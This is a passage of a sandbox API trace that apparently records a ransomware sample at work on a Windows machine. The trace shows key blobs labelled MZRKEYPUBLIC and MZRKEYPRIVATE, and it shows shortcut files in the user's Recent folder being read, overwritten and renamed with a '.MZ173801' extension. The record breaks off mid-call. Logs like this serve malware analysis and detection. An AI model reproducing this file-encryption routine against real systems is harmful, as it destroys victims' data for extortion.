lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0152.623] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0152.624] GetCurrentThreadId () returned 0xab4 [0152.624] GetCurrentThreadId () returned 0xab4 [0152.624] GetCurrentThreadId () returned 0xab4 [0152.624] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wmEX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wmex.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.624] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0152.624] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.624] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x39f [0152.624] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.624] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x39f, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x39f, lpOverlapped=0x0) returned 1 [0152.633] CloseHandle (hObject=0x280) returned 1 [0152.633] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wmEX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wmex.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.635] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x39f, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x39f, lpOverlapped=0x0) returned 1 [0152.636] CloseHandle (hObject=0x280) returned 1 [0152.639] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wmEX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wmex.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wmEX.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wmex.lnk.mz173801")) returned 1 [0152.639] GetCurrentThreadId () returned 0xab4 [0152.639] GetCurrentThreadId () returned 0xab4 [0152.640] GetCurrentThreadId () returned 0xab4 [0152.640] GetCurrentThreadId () returned 0xab4 [0152.640] GetCurrentThreadId () returned 0xab4 [0152.640] GetCurrentThreadId () returned 0xab4 [0152.640] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c249ba, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf3c249ba, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf3c249ba, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x27e, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="wsBv9esj.lnk", cAlternateFileName="")) returned 1 [0152.640] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0152.640] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0152.640] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wsBv9esj.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wsbv9esj.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c249ba, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf3c249ba, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf3c249ba, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x27e)) returned 1 [0152.640] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wsBv9esj.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wsbv9esj.lnk")) returned 0x20 [0152.640] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wsBv9esj.lnk", dwFileAttributes=0x80) returned 1 [0152.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0152.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0152.644] GetCurrentThreadId () returned 0xab4 [0152.644] GetCurrentThreadId () returned 0xab4 [0152.644] GetCurrentThreadId () returned 0xab4 [0152.645] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0152.645] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0152.645] GetCurrentThreadId () returned 0xab4 [0152.645] GetCurrentThreadId () returned 0xab4 [0152.645] GetCurrentThreadId () returned 0xab4 [0152.645] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wsBv9esj.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wsbv9esj.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.646] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0152.646] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.646] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, 